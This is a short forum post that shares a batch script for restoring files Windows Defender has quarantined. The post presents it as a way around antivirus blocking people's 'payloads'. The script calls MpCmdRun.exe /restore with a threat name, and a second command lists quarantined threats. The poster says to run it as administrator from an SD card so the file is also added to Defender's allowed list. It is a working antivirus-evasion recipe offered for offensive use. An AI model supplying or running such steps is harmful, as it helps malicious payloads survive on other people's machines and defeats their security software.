Jump to content

Restoring Files from quarantine


Recommended Posts

Hi guys,


Ive noticed a lot of people were having problems with windows defender quarantining their payloads.

Here's how i get around that with a simple batch file:


@echo off
chdir /d "%ProgramFiles%\Windows Defender"
MpCmdRun.exe /restore -name "Insert Threat Name Here, Remove quotes" -All

To find the threat name, let defender quarantine the file on your machine and run this command on your machine:

MpCmdRun.exe /restore -listall

Add that to your sd card and run it as an administrator and it will restore your file and add it to the allowed list to prevent future quarantining.


Hope this helps


Link to comment
Share on other sites


This topic is now archived and is closed to further replies.

  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Create New...